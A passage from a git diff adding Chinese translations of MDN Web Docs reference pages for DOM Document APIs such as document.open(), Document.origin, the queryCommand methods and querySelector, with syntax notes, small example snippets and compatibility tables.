x-locale-body, sans-serif"><span style="background-color: #ffffff;">使用</span></font>window</code><font><font>，</font></font><code>document</code><font><font>或</font></font><code>document.body的</code><code><a href="https://developer.mozilla.org/en/DOM/element.addEventListener" title="en/DOM/element.addEventListener">addEventListener</a>方法</code></li> + <li><font><font>通过设置</font></font><code>document</code><font><font>或</font></font><code>document.body</code><font><font>的</font></font><code>.ononline</code><font><font>或</font></font><code>.onoffline</code><font><font>属性</font></font><font><font>到一个JavaScript </font></font><code>Function</code><font><font>对象。</font><font>（</font></font><strong><font><font>注意：</font></font></strong><font><font>使用</font></font><code>window.ononline</code><font><font>或</font></font><code>window.onoffline</code><font><font>有兼容性问题。）</font></font></li> + <li><font><font>通过指定</font><font>HTML的</font></font><code><body></code><font><font>标签中的属性</font></font><code>ononline="..."</code><font><font>或</font></font><code>onoffline="..."</code></li> +</ul> + +<h2 id="Example" name="Example">例子</h2> + +<p><font><font>有</font></font><a href="https://bugzilla.mozilla.org/attachment.cgi?id=220609" rel="noopener"><font><font>一个简单的测试用例</font></font></a><font><font>，你可以运行，以验证该事件工作。</font></font></p> + +<h2 id="Example" name="Example"><font><font>参考</font></font></h2> + +<ul> + <li><a href="https://developer.mozilla.org/en-US/docs/Online_and_offline_events"><font><font>Online和offline事件[en-US]</font></font></a></li> + <li><a href="http://www.whatwg.org/specs/web-apps/current-work/#event-online" rel="noopener"><font><font>WHATWG Web App规范</font></font></a></li> +</ul> diff --git a/files/zh-cn/web/api/document/onvisibilitychange/index.html b/files/zh-cn/web/api/document/onvisibilitychange/index.html new file mode 100644 index 0000000000..22fb0e4db4 --- /dev/null +++ b/files/zh-cn/web/api/document/onvisibilitychange/index.html @@ -0,0 +1,53 @@ +--- +title: Document.onvisibilitychange +slug: Web/API/Document/onvisibilitychange +translation_of: Web/API/Document/onvisibilitychange +--- +<div>{{ApiRef('DOM')}}</div> + +<p><code><strong>Document.onvisibilitychange</strong></code> 是一个事件处理方法，它将在该对象的 <code><strong>visibilitychange</strong></code>事件被触发时调用。</p> + +<h2 id="Syntax">Syntax</h2> + +<pre class="syntaxbox"><em>obj</em>.onvisibilitychange = <em>function</em>; +</pre> + +<ul> + <li><code>function</code> 是一个用户定义的方法的名字（而非带()和任何参数的函数调用），或者匿名函数的申明。</li> +</ul> + +<h2 id="例子">例子</h2> + +<pre class="brush: js">document.onvisibilitychange = function() { + console.log("Visibility of page has changed!"); +}; +</pre> + +<h2 id="标准">标准</h2> + +<table class="spectable standard-table"> + <tbody> + <tr> + <th scope="col">Specification</th> + <th scope="col">Status</th> + <th scope="col">Comment</th> + </tr> + <tr> + <td>{{SpecName('Page Visibility API','#onvisiblitychange-event-handler','onvisibilitychange')}}</td> + <td>{{Spec2('Page Visibility API')}}</td> + <td>Initial definition.</td> + </tr> + </tbody> +</table> + +<h2 id="浏览器兼容性">浏览器兼容性</h2> + + + +<p>{{Compat("api.Document.onvisibilitychange")}}</p> + +<h2 id="另见">另见</h2> + +<ul> + <li><a href="/en-US/docs/Web/API/Page_Visibility_API">Page Visibility API</a></li> +</ul> diff --git a/files/zh-cn/web/api/document/open/index.html b/files/zh-cn/web/api/document/open/index.html new file mode 100644 index 0000000000..a6d75efaca --- /dev/null +++ b/files/zh-cn/web/api/document/open/index.html @@ -0,0 +1,126 @@ +--- +title: Document.open() +slug: Web/API/Document/open +tags: + - DOM + - Document + - Document.open() +translation_of: Web/API/Document/open +--- +<p id="Summary">{{APIRef("DOM")}}</p> + +<p><strong><code>Document.open()</code></strong> 方法打开一个要<a href="/zh-US/docs/Web/API/Document/write" title="en/DOM/document.write">写入</a>的文档。</p> + +<p>这将会有一些连带的影响。例如：</p> + +<ul> + <li>此时已注册到文档、文档中的节点或文档的window的所有事件监听器会被清除。</li> + <li>文档中的所有节点会被清除。</li> +</ul> + +<h2 id="Syntax" name="Syntax">语法</h2> + +<pre class="syntaxbox">document.open(); +</pre> + +<h3 id="参数">参数</h3> + +<p>无。</p> + +<h3 id="返回值">返回值</h3> + +<p>一个 <code>Document</code> 对象实例。</p> + +<h2 id="Example" name="Example">示例</h2> + +<p>以下简单的代码，会打开一个文档，并将原有内容替换为一些不同的HTML片段，然后关闭文档。</p> + +<pre><code>document.open(); +document.write("<p>Hello world!</p>"); +document.write("<p>I am a fish</p>"); +document.write("<p>The number is 42</p>"); +document.close();</code></pre> + +<h2 id="Notes" name="Notes">注意</h2> + +<p>当 <a href="/en/DOM/document.write" title="en/DOM/document.write">document.write()</a> 在页面加载后调用，会发生自动的 <code>document.open()</code>调用。</p> + +<p>很多年以来，Firefox和IE浏览器会在清除所有节点的同时，将所有Javascript变量等一并清除，但现在已经不采用这一做法。<br> + <span class="comment">document non-spec'ed parameters to document.open</span></p> + +<p>不要和 <a href="/en/DOM/window.open" title="en/DOM/window.open">window.open()</a> 方法混淆。<code>document.open</code> 可用于重写当前的文档内容或者追加内容, 而 <code>window.open 是提供了打开一个新的窗口的方法，当前的网页文档内容会被保留。由于 window 是一个全局对象，直接调用 open(...) 和 window.open(...) 的效果是一样的。你可以使用 document.close（）关闭打开的文档。</code></p> + +<p>See <a href="/en/Security_check_basics" title="en/Security check basics">Security check basics</a> for more about principals.</p> + +<p>如果不想在当前文本追加内容， 使用 <code>open("text/html", "replace") 替换</code> <code>open()</code> .</p> + +<h3 id="针对Gecko的注意事项">针对Gecko的注意事项</h3> + +<p>从Gecko 1.9开始，这个方法与其他属性一样受到同源策略的控制，若调用会使文档的源产生变化则不可用。</p> + +<p>从Gecko 1.9.2开始，<code>document.open()</code> 使用文档的使用的URI的<a href="/docs/Security_check_basics">principal</a>大，而不是从stack中取来principal。因此，你无需再在不可信的文档里调用 {{domxref("document.write()")}} ，包括使用<a href="https://developer.mozilla.org/en/wrappedJSObject"><code>wrappedJSObject</code></a>。关于principal的更多信息详见<a href="https://developer.mozilla.org/en/Security_check_basics" title="en/Security check basics">Security check basics</a>。</p> + + + +<h2 id="三个参数的document.open()">三个参数的document.open()</h2> + +<p>有一个更少人知道且更少被使用的 <code>document.open()</code> 的版本，这是{{domxref("Window.open()")}} 的一个别名（前往该页面查看更多）。</p> + +<p>这种调用，例如在新窗口打开github.com，把opener设为<code>null</code>：</p> + +<pre><code>document.open('https://www.github.com','', 'noopener=true')</code> +</pre> + +<h2 id="两个参数的document.open()">两个参数的document.open()</h2> + +<p>浏览器过往支持一个两个参数版本的<code>document.open()</code>，方法参数签名如下：</p> + +<pre><code>document.open(type, replace)</code> +</pre> + +<p><code>type</code>指定了所需写入的数据的MIME类型，<code>replace</code>（如有设置，值为一个字符串“replace”）指定了新文档的历史写入会代替现有的例如写入。</p> + +<p>这种形式现在已经弃用；它不会抛出错误，但会直接调用<code>document.open()</code>（相当于无参数形式的调用）。这种历史写入替换行为现在一定会发生。</p> + +<h2 id="规范">规范</h2> + + + +<table> + <thead> + <tr> + <th scope="col">规范</th> + <th scope="col">状态</th> + <th scope="col">备注</th> + </tr> + </thead> + <tbody> + <tr> + <td>{{SpecName("HTML WHATWG", "#dom-document-open", "document.open()")}}</td> + <td>{{Spec2("HTML WHATWG")}}</td> + <td></td> + </tr> + <tr> + <td>{{SpecName("DOM2 HTML", "html.html#ID-72161170", "document.open()")}}</td> + <td>{{Spec2("DOM2 HTML")}}</td> + <td></td> + </tr> + </tbody> +</table> + + + +<h2 id="浏览器兼容性">浏览器兼容性</h2> + +<div class="hidden">这个页面的兼容性表格是由结构数据生成。如果你想对数据作出贡献，详情请前往 <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> 并给我们一个PR。</div> + +<p>{{Compat("api.Document.open")}}</p> + +<h2 id="参见">参见</h2> + + + +<ul> + <li>{{domxref("Document")}}</li> + <li>{{domxref("Window.open()")}}</li> +</ul> diff --git a/files/zh-cn/web/api/document/origin/index.html b/files/zh-cn/web/api/document/origin/index.html new file mode 100644 index 0000000000..b81415ed5a --- /dev/null +++ b/files/zh-cn/web/api/document/origin/index.html @@ -0,0 +1,100 @@ +--- +title: Document.origin +slug: Web/API/Document/origin +translation_of: Web/API/Document/origin +--- +<div>{{APIRef("DOM")}}{{SeeCompatTable}}</div> + +<p><strong><code>Document.origin</code></strong> （只读属性） 返回文档的来源。通常该属性与 <code>document.defaultView.location.origin </code>相等。</p> + +<h2 id="示例">示例</h2> + +<pre class="brush: js">var origin = document.origin; +// On this page, returns:'https://developer.mozilla.org' + +var origin = document.origin; +// On "about:blank", returns:'null' + +var origin = document.origin; +// On "data:text/html,<b>foo</b>", returns:'null' +</pre> + +<h2 id="Specifications">Specifications</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">Specification</th> + <th scope="col">Status</th> + <th scope="col">Comment</th> + </tr> + <tr> + <td>{{SpecName('DOM WHATWG', '#dom-document-origin', 'Document.origin')}}</td> + <td>{{Spec2('DOM WHATWG')}}</td> + <td>Initial definition.</td> + </tr> + <tr> + <td>{{SpecName('HTML WHATWG', '#origin:document', 'origin for Document objects')}}</td> + <td>{{Spec2('HTML WHATWG')}}</td> + <td>Initial definition.</td> + </tr> + </tbody> +</table> + +<h2 id="浏览器兼容性">浏览器兼容性</h2> + +<p>{{ CompatibilityTable() }}</p> + +<div id="compat-desktop"> +<table class="compat-table"> + <tbody> + <tr> + <th>Feature</th> + <th>Chrome</th> + <th>Firefox (Gecko)</th> + <th>Internet Explorer</th> + <th>Opera</th> + <th>Safari</th> + </tr> + <tr> + <td>Basic support</td> + <td>{{CompatChrome(41)}}</td> + <td>{{CompatNo}} {{bug(931884)}}</td> + <td>{{CompatNo}}</td> + <td>{{CompatNo}}</td> + <td>{{CompatNo}}</td> + </tr> + </tbody> +</table> +</div> + +<div id="compat-mobile"> +<table class="compat-table"> + <tbody> + <tr> + <th>Feature</th> + <th>Android</th> + <th>Chrome for Android</th> + <th>Firefox Mobile (Gecko)</th> + <th>IE Mobile</th> + <th>Opera Mobile</th> + <th>Safari Mobile</th> + </tr> + <tr> + <td>Basic support</td> + <td>{{CompatNo}}</td> + <td>{{CompatNo}}</td> + <td>{{CompatNo}}</td> + <td>{{CompatNo}}</td> + <td>{{CompatNo}}</td> + <td>{{CompatNo}}</td> + </tr> + </tbody> +</table> +</div> + +<h2 id="参见">参见</h2> + +<ul> + <li> {{domxref("URLUtils.origin")}} 属性.</li> +</ul> diff --git a/files/zh-cn/web/api/document/plugins/index.html b/files/zh-cn/web/api/document/plugins/index.html new file mode 100644 index 0000000000..2e6f7f2ae1 --- /dev/null +++ b/files/zh-cn/web/api/document/plugins/index.html @@ -0,0 +1,52 @@ +--- +title: Document.plugins +slug: Web/API/Document/plugins +translation_of: Web/API/Document/plugins +--- +<div>{{APIRef("DOM")}}</div> + +<div>{{domxref("Document")}}接口的<strong>插件</strong>只读属性返回一个{{domxref("HTMLCollection")}} 对象，该对象包含一个或多个{{domxref("HTMLEmbedElement")}}s表示当前文档中的{{HTMLElement("embed")}} 元素。</div> + +<div> </div> + +<div class="note">对于已安装的插件列表，请使用 <a href="https://developer.mozilla.org/en-US/docs/Web/API/NavigatorPlugins/plugins">NavigatorPlugins.plugins</a> 插件。</div> + +<h2 id="Syntax" name="Syntax">语法</h2> + +<pre class="syntaxbox"><var>embedArrayObj</var> = document.plugins +</pre> + +<h3 id="值">值</h3> + +<p>一个 {{domxref("HTMLCollection")}}, 如果文档中没有嵌入则为null。</p> + +<h2 id="Specifications" name="Specifications">规范</h2> + +<table class="standard-table"> + <thead> + <tr> + <th scope="col">规范</th> + <th scope="col">状态</th> + <th scope="col">注释</th> + </tr> + </thead> + <tbody> + <tr> + <td>{{SpecName('HTML WHATWG', '#dom-document-plugins', 'Document.plugins')}}</td> + <td>{{ Spec2('HTML WHATWG') }}</td> + <td> </td> + </tr> + </tbody> +</table> + +<h2 id="See_also" name="See_also"><font><font>浏览器兼容性</font></font></h2> + + + +<p>{{Compat("api.Document.plugins")}}</p> + +<h2 id="See_also" name="See_also"><font><font>另请参见</font></font></h2> + +<ul> + <li><a href="https://docs.microsoft.com/en-us/previous-versions/windows/internet-explorer/ie-developer/platform-apis/ms537477(v=vs.85)">MSDN documentation</a></li> +</ul> diff --git a/files/zh-cn/web/api/document/pointerlockchange_event/index.html b/files/zh-cn/web/api/document/pointerlockchange_event/index.html new file mode 100644 index 0000000000..86a47a3f06 --- /dev/null +++ b/files/zh-cn/web/api/document/pointerlockchange_event/index.html @@ -0,0 +1,72 @@ +--- +title: 'Document: pointerlockchange event' +slug: Web/API/Document/pointerlockchange_event +translation_of: Web/API/Document/pointerlockchange_event +--- +<div>{{APIRef}}</div> + +<p><code>pointerlockchange</code> 事件当指针解锁或者被锁定时触发</p> + +<table class="properties"> + <tbody> + <tr> + <th scope="row">冒泡</th> + <td>Yes</td> + </tr> + <tr> + <th scope="row">可取消</th> + <td>No</td> + </tr> + <tr> + <th scope="row">接口</th> + <td>{{domxref("Event")}}</td> + </tr> + <tr> + <th scope="row">Event handler property</th> + <td>{{domxref("Document/onpointerlockchange", "onpointerlockchange")}}</td> + </tr> + </tbody> +</table> + +<h2 id="例子">例子</h2> + +<p>使用 <code>addEventListener()</code>:</p> + +<pre class="brush: js notranslate">document.addEventListener('pointerlockchange', (event) => { + console.log('Pointer lock changed'); +});</pre> + +<p>使用 <code>onpointerlockchange</code> 事件处理程序属性</p> + +<pre class="brush: js notranslate">document.onpointerlockchange = (event) => { + console.log('Pointer lock changed'); +};</pre> + +<h2 id="Specifications">Specifications</h2> + +<table class="standard-table"> + <thead> + <tr> + <th scope="col">Specification</th> + <th scope="col">Status</th> + </tr> + </thead> + <tbody> + <tr> + <td>{{SpecName('Pointer Lock', '#pointerlockchange-and-pointerlockerror-events')}}</td> + <td>{{Spec2('Pointer Lock')}}</td> + </tr> + </tbody> +</table> + +<h2 id="浏览器兼容性">浏览器兼容性</h2> + +<div class="hidden">此页上的兼容性表是从结构化数据生成的。如果你想对数据有所贡献，请查看https://github.com/mdn/browser-compat-data并向我们发送请求。</div> + +<p>{{Compat("api.Document.pointerlockchange_event")}}</p> + +<h2 id="参考">参考</h2> + +<ul> + <li><a href="/en-US/docs/API/Pointer_Lock_API">Using Pointer Lock API</a></li> +</ul> diff --git a/files/zh-cn/web/api/document/pointerlockelement/index.html b/files/zh-cn/web/api/document/pointerlockelement/index.html new file mode 100644 index 0000000000..eb6ed9cf98 --- /dev/null +++ b/files/zh-cn/web/api/document/pointerlockelement/index.html @@ -0,0 +1,105 @@ +--- +title: Document.pointerLockElement +slug: Web/API/Document/pointerLockElement +translation_of: Web/API/DocumentOrShadowRoot/pointerLockElement +--- +<div>{{APIRef("DOM")}}</div> + +<p><code>pointerLockElement 特性规定了如在鼠标事件中当目标被锁定时的元素集和。如果指针处于锁定等待中、指针没有被锁定，或者目标在另外一个文档中这几种情况，返回的值null。</code></p> + +<h2 id="语法">语法</h2> + +<pre class="syntaxbox">var element = document.pointerLockElement; +</pre> + +<h3 id="返回值">返回值</h3> + +<p>An {{domxref("Element")}} or <code>null</code>.</p> + +<h2 id="特性">特性</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">Specification</th> + <th scope="col">Status</th> + <th scope="col">Comment</th> + </tr> + <tr> + <td>{{SpecName('Pointer Lock','l#extensions-to-the-document-interface','Document')}}</td> + <td>{{Spec2('Pointer Lock')}}</td> + <td>Extend the <code>Document</code> interface</td> + </tr> + </tbody> +</table> + +<h2 id="Browser_compatibility" name="Browser_compatibility">浏览器兼容</h2> + +<p>{{ CompatibilityTable() }}</p> + +<div id="compat-desktop"> +<table class="compat-table"> + <tbody> + <tr> + <th>Feature</th> + <th>Chrome</th> + <th>Edge</th> + <th>Firefox (Gecko)</th> + <th>Internet Explorer</th> + <th>Opera</th> + <th>Safari</th> + </tr> + <tr> + <td>Basic support</td> + <td>{{ CompatVersionUnknown() }} {{property_prefix("webkit")}}</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{ CompatVersionUnknown() }} {{property_prefix("moz")}}</td> + <td>{{ CompatUnknown() }}</td> + <td>{{ CompatUnknown() }}</td> + <td>{{ CompatUnknown() }}</td> + </tr> + <tr> + <td>Unprefixed support</td> + <td>{{ CompatVersionUnknown() }}</td> + <td>{{CompatUnknown}}</td> + <td>{{CompatGeckoDesktop(50)}}</td> + <td> </td> + <td> </td> + <td> </td> + </tr> + </tbody> +</table> +</div> + +<div id="compat-mobile"> +<table class="compat-table"> + <tbody> + <tr> + <th>Feature</th> + <th>Android</th> + <th>Edge</th> + <th>Firefox Mobile (Gecko)</th> + <th>IE Mobile</th> + <th>Opera Mobile</th> + <th>Safari Mobile</th> + </tr> + <tr> + <td>Basic support</td> + <td>{{ CompatUnknown() }}</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{ CompatUnknown() }}</td> + <td>{{ CompatUnknown() }}</td> + <td>{{ CompatUnknown() }}</td> + <td>{{ CompatUnknown() }}</td> + </tr> + </tbody> +</table> +</div> + +<h2 id="相关链接">相关链接</h2> + +<ul> + <li>{{ domxref("Document.exitPointerLock()") }}</li> + <li>{{ domxref("Element.requestPointerLock()") }}</li> + <li><a href="/en-US/docs/WebAPI/Pointer_Lock">Pointer Lock</a></li> +</ul> diff --git a/files/zh-cn/web/api/document/preferredstylesheetset/index.html b/files/zh-cn/web/api/document/preferredstylesheetset/index.html new file mode 100644 index 0000000000..b567cb2bf4 --- /dev/null +++ b/files/zh-cn/web/api/document/preferredstylesheetset/index.html @@ -0,0 +1,47 @@ +--- +title: Document.preferredStyleSheetSet +slug: Web/API/Document/preferredStyleSheetSet +translation_of: Web/API/Document/preferredStyleSheetSet +--- +<div>{{APIRef("DOM")}}{{gecko_minversion_header("1.9")}}</div> + +<p><strong><code>preferredStyleSheetSet</code></strong> 属性会依网页作者的喜好回传阶层样式集。</p> + +<h2 id="语法">语法</h2> + +<pre class="syntaxbox"><var>preferredStyleSheetSet</var> = document.preferredStyleSheetSet +</pre> + +<p><code>preferredStyleSheetSet</code> 指的是作者偏好的阶层样式集。内容取决于阶层样式集的次序与 <code>Default-Style</code> HTTP 标头内容.</p> + +<p>如果作者没有定义偏好的阶层样式集，就会回传空白的("")字符串。</p> + +<h2 id="范例">范例</h2> + +<pre class="brush: js">if (document.preferredStyleSheetSet) { + console.log("The preferred style sheet set is: " + document.preferredStyleSheetSet); +} else { + console.log("There is no preferred style sheet."); +} +</pre> + +<h2 id="规范">规范</h2> + +<ul> + <li><a href="http://www.whatwg.org/specs/web-apps/current-work/#alternate-style-sheets" title="http://www.whatwg.org/specs/web-apps/current-work/#alternate-style-sheets">HTML5: Alternate Style Sheets</a></li> +</ul> + +<h2 id="浏览器相容性">浏览器相容性</h2> + + + +<p>{{Compat("api.Document.preferredStyleSheetSet")}}</p> + +<h2 id="参见">参见</h2> + +<ul> + <li>{{domxref("document.lastStyleSheetSet")}}</li> + <li>{{domxref("document.selectedStyleSheetSet")}}</li> + <li>{{domxref("document.styleSheetSets")}}</li> + <li>{{domxref("document.enableStyleSheetsForSet()")}}</li> +</ul> diff --git a/files/zh-cn/web/api/document/querycommandenabled/index.html b/files/zh-cn/web/api/document/querycommandenabled/index.html new file mode 100644 index 0000000000..e03eab3aff --- /dev/null +++ b/files/zh-cn/web/api/document/querycommandenabled/index.html @@ -0,0 +1,83 @@ +--- +title: Document.queryCommandEnabled() +slug: Web/API/Document/queryCommandEnabled +tags: + - CSS + - CSS参考 + - Document + - Method +translation_of: Web/API/Document/queryCommandEnabled +--- +<p>{{ApiRef("DOM")}}</p> + +<div class="blockIndicator note"> +<p><strong>注意</strong></p> +该方法在部分浏览器返回的结果是不可预料的。因此，建议使用execCommand的返回值直接判断，或通过其它方式嗅探，而非使用该方法。</div> + +<div></div> + +<p><code><strong>Document.queryCommandEnabled()</strong></code> 方法可查询浏览器中指定的编辑指令是否可用。</p> + +<h2 id="语法">语法</h2> + +<pre class="syntaxbox"><var>var isEnabled</var> = document.queryCommandEnabled(<var>command</var>); +</pre> + +<dl> + <dt> + <h3 id="参数">参数</h3> + </dt> + <dt><code>command</code></dt> + <dd>待查询的是否可用的指令.</dd> +</dl> + +<h3 id="返回值">返回值</h3> + +<p>返回 {{jsxref("Boolean")}} 值，<code>true</code> 表示指令可用，<code>false</code>表示指令不可用<font face="consolas, Liberation Mono, courier, monospace">。</font></p> + +<h2 id="备注">备注</h2> + +<ul> + <li>经过测试，在部分浏览器它永远返回 <code>false</code>，而IE浏览器即使对于同样支持的属性也可能有不同返回值；有时IE还会对不支持的属性抛出异常而不是返回 <code>false</code>。</li> + <li>对于 <code>"cut"</code> 和 <code>"copy"</code> 指令，只有当用户启动的线程调用该方法时才返回true。</li> + <li><code>"paste"</code> 指令不仅当特性不可用时返回 <code>false</code> ，脚本权限不足时也一样。</li> +</ul> + +<h2 id="示例">示例</h2> + +<pre class="brush:js">var flg = document.queryCommandEnabled("SelectAll"); + +if(flg) { + document.execCommand("SelectAll", false, null); // command is enabled, run it +} +</pre> + +<h2 id="规范">规范</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">说明</th> + <th scope="col">状态</th> + <th scope="col">描述</th> + </tr> + <tr> + <td>{{SpecName('HTML Editing','#querycommandenabled()','querycommandenabled')}}</td> + <td>{{Spec2('HTML Editing')}}</td> + <td>Initial definition</td> + </tr> + </tbody> +</table> + +<h2 id="浏览器兼容性">浏览器兼容性</h2> + +<div class="hidden">此页上的兼容性表是从结构化数据生成的。如果您想贡献数据，请访问 <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> 并向我们发送一个请求。</div> + +<div>{{Compat("api.Document.queryCommandEnabled")}}</div> + +<h2 id="参考资料">参考资料</h2> + +<ul> + <li>{{domxref("Document.execCommand()")}}</li> + <li>{{domxref("Document.queryCommandSupported()")}}</li> +</ul> diff --git a/files/zh-cn/web/api/document/querycommandstate/index.html b/files/zh-cn/web/api/document/querycommandstate/index.html new file mode 100644 index 0000000000..c4625f45fe --- /dev/null +++ b/files/zh-cn/web/api/document/querycommandstate/index.html @@ -0,0 +1,98 @@ +--- +title: Document.queryCommandState() +slug: Web/API/Document/queryCommandState +translation_of: Web/API/Document/queryCommandState +--- +<div>{{ApiRef("DOM")}}</div> + +<h2 id="语法">语法</h2> + +<pre class="brush: js">Object.queryCommandState(String command) + +</pre> + +<h2 id="描述">描述</h2> + +<p>返回 指定命令 在对象内的状态码（1表示指定命令在对象内已执行；0表示指定命令在对象内未执行，处于可执行状态；-1表示指定命令在对象内处于不可用状态）</p> + +<h2 id="规范">规范</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">Specification</th> + <th scope="col">Status</th> + <th scope="col">Comment</th> + </tr> + <tr> + <td>{{SpecName('HTML Editing','#execcommand()','execCommand')}}</td> + <td>{{Spec2('HTML Editing')}}</td> + <td>Initial definition</td> + </tr> + </tbody> +</table> + +<h2 id="浏览器兼容性">浏览器兼容性</h2> + +<p>{{CompatibilityTable}}</p> + +<div id="compat-desktop"> +<table class="compat-table"> + <tbody> + <tr> + <th>Feature</th> + <th>Chrome</th> + <th>Edge</th> + <th>Firefox (Gecko)</th> + <th>Internet Explorer</th> + <th>Opera</th> + <th>Safari</th> + </tr> + <tr> + <td>Basic support</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + </tr> + </tbody> +</table> +</div> + +<div id="compat-mobile"> +<table class="compat-table"> + <tbody> + <tr> + <th>Feature</th> + <th>Android</th> + <th>Chrome for Android</th> + <th>Edge</th> + <th>Firefox Mobile (Gecko)</th> + <th>IE Mobile</th> + <th>Opera Mobile</th> + <th>Safari Mobile</th> + </tr> + <tr> + <td>Basic support</td> + <td>{{CompatUnknown}}</td> + <td>{{CompatUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatUnknown}}</td> + <td>{{CompatUnknown}}</td> + <td>{{CompatUnknown}}</td> + <td>{{CompatUnknown}}</td> + </tr> + </tbody> +</table> +</div> + +<h2 id="参见">参见</h2> + +<ul> + <li>{{domxref("document.contentEditable")}}</li> + <li>{{domxref("document.designMode")}}</li> + <li><a href="/en-US/docs/Rich-Text_Editing_in_Mozilla">Rich-Text Editing in Mozilla</a></li> + <li>Browser bugs related to <code>queryCommandState()</code>: <a href="https://github.com/guardian/scribe/blob/master/BROWSERINCONSISTENCIES.md#documentquerycommandstate">Scribe's "Browser Inconsistencies" documentation</a></li> +</ul> diff --git a/files/zh-cn/web/api/document/querycommandsupported/index.html b/files/zh-cn/web/api/document/querycommandsupported/index.html new file mode 100644 index 0000000000..de033d485c --- /dev/null +++ b/files/zh-cn/web/api/document/querycommandsupported/index.html @@ -0,0 +1,116 @@ +--- +title: Document.queryCommandSupported() +slug: Web/API/Document/queryCommandSupported +tags: + - 包括示例 + - 编辑器 +translation_of: Web/API/Document/queryCommandSupported +--- +<div>{{ ApiRef("DOM") }}</div> + +<div> </div> + +<p><code><strong>Document.queryCommandSupported()</strong></code> 方法确定浏览器是否支持指定的编辑指令。</p> + +<h2 id="Syntax" name="Syntax">语法</h2> + +<pre class="syntaxbox"><var>isSupported</var> = document.queryCommandSupported(<em>command</em>); +</pre> + +<dl> + <dt><code>command</code></dt> + <dd>待确定是否支持的命令。</dd> +</dl> + +<p>如果命令不被支持，将触发 <code>NotSupportedError</code> 异常。</p> + +<p>另外：</p> + +<ul> + <li>如果命令没有值或未启用，将返回空字符串。</li> + <li>"fontSize" 命令将被特殊处理，如果值被重写，它将返回最近似标准尺寸的整数倍像素大小。</li> + <li>如果命令的值已被重写，将由重写返回。</li> + <li>否则，此命令返回命令的值，如同 {{domxref("document.queryCommandValue()")}}.</li> +</ul> + +<h2 id="Example" name="Example">示例</h2> + +<pre class="brush:js">var flg = document.queryCommandSupported("SelectAll"); + +if(flg) { + // ...Do something +} +</pre> + +<h2 id="Specification" name="Specification">浏览器兼容性</h2> + +<div>{{CompatibilityTable}}</div> + +<div id="compat-desktop"> +<table class="compat-table"> + <tbody> + <tr> + <th>特性</th> + <th>Chrome</th> + <th>Firefox (Gecko)</th> + <th>Internet Explorer</th> + <th>Opera</th> + <th>Safari</th> + </tr> + <tr> + <td>Basic support</td> + <td>{{CompatUnknown}}</td> + <td>{{CompatGeckoDesktop("9.0")}}</td> + <td>4.0</td> + <td>{{CompatUnknown}}</td> + <td>{{CompatUnknown}}</td> + </tr> + </tbody> +</table> +</div> + +<div id="compat-mobile"> +<table class="compat-table"> + <tbody> + <tr> + <th><span style="font-family: open sans light,helvetica,arial,sans-serif; font-size: 16px; line-height: 16px;">特性</span></th> + <th>Android</th> + <th>Firefox Mobile (Gecko)</th> + <th>IE Mobile</th> + <th>Opera Mobile</th> + <th>Safari Mobile</th> + </tr> + <tr> + <td>Basic support</td> + <td>{{CompatUnknown}}</td> + <td>{{CompatGeckoMobile("9.0")}}</td> + <td>{{CompatUnknown}}</td> + <td>{{CompatUnknown}}</td> + <td>{{CompatUnknown}}</td> + </tr> + </tbody> +</table> +</div> + +<h2 id="Specification" name="Specification">规范</h2> + +<table class="spectable standard-table"> + <tbody> + <tr> + <th scope="col">规范</th> + <th scope="col">状态</th> + <th scope="col">备注</th> + </tr> + <tr> + <td>{{SpecName('HTML Editing','#querycommandsupported()','querycommandsupported')}}</td> + <td>{{Spec2('HTML Editing')}}</td> + <td> </td> + </tr> + </tbody> +</table> + +<h2 id="See_also" name="See_also">参见</h2> + +<ul> + <li>{{domxref("document.execCommand")}}</li> +</ul> diff --git a/files/zh-cn/web/api/document/queryselector/index.html b/files/zh-cn/web/api/document/queryselector/index.html new file mode 100644 index 0000000000..9e77f22412 --- /dev/null +++ b/files/zh-cn/web/api/document/queryselector/index.html @@ -0,0 +1,126 @@ +--- +title: document.querySelector() +slug: Web/API/Document/querySelector +tags: + - API + - CSS选择器 + - DOM + - querySelector + - 文档对象模型Document +translation_of: Web/API/Document/querySelector +--- +<div>{{ ApiRef("DOM") }}</div> + +<p>文档对象模型{{domxref("Document")}}引用的<code><strong>querySelector()</strong></code>方法返回文档中与指定选择器或选择器组匹配的第一个 {{domxref("HTMLElement")}}对象。 如果找不到匹配项，则返回<code>null</code>。</p> + +<div class="note"> +<p><strong>提示</strong>: 匹配是使用深度优先先序遍历，从文档标记中的第一个元素开始，并按子节点的顺序依次遍历。</p> +</div> + +<h2 id="Syntax" name="Syntax">语法</h2> + +<pre class="brush: js notranslate">element = document.querySelector(selectors);</pre> + +<h3 id="参数">参数</h3> + +<dl> + <dt><code>selectors</code></dt> + <dd>包含一个或多个要匹配的选择器的 DOM字符串{{domxref("DOMString")}}。 该字符串必须是有效的CSS选择器字符串；如果不是，则引发<code>SYNTAX_ERR</code>异常。请参阅<a href="/zh-CN/docs/Web/API/Document_Object_Model/Locating_DOM_elements_using_selectors">使用选择器定位DOM元素</a>以获取有关选择器以及如何管理它们的更多信息。</dd> +</dl> + +<div class="note"> +<p><strong>提示:</strong>必须使用反斜杠字符转义不属于标准CSS语法的字符。 由于JavaScript也使用退格转义，因此在使用这些字符编写字符串文字时必须特别小心。 有关详细信息，请参阅{{anch("Escaping special characters")}}。</p> +</div> + +<h3 id="返回值">返回值</h3> + +<p>表示文档中与指定的一组CSS选择器匹配的第一个元素,一个 {{domxref("HTMLElement")}}对象。如果没有匹配到，则返回null。</p> + +<p>如果您需要与指定选择器匹配的所有元素的列表，则应该使用{{domxref("Document.querySelectorAll", "querySelectorAll()")}} 。</p> + +<h3 id="异常">异常</h3> + +<dl> + <dt><code>SYNTAX_ERR</code></dt> + <dd>指定<code>selectors</code>的语法无效。</dd> +</dl> + +<h2 id="Notes" name="Notes">注意</h2> + 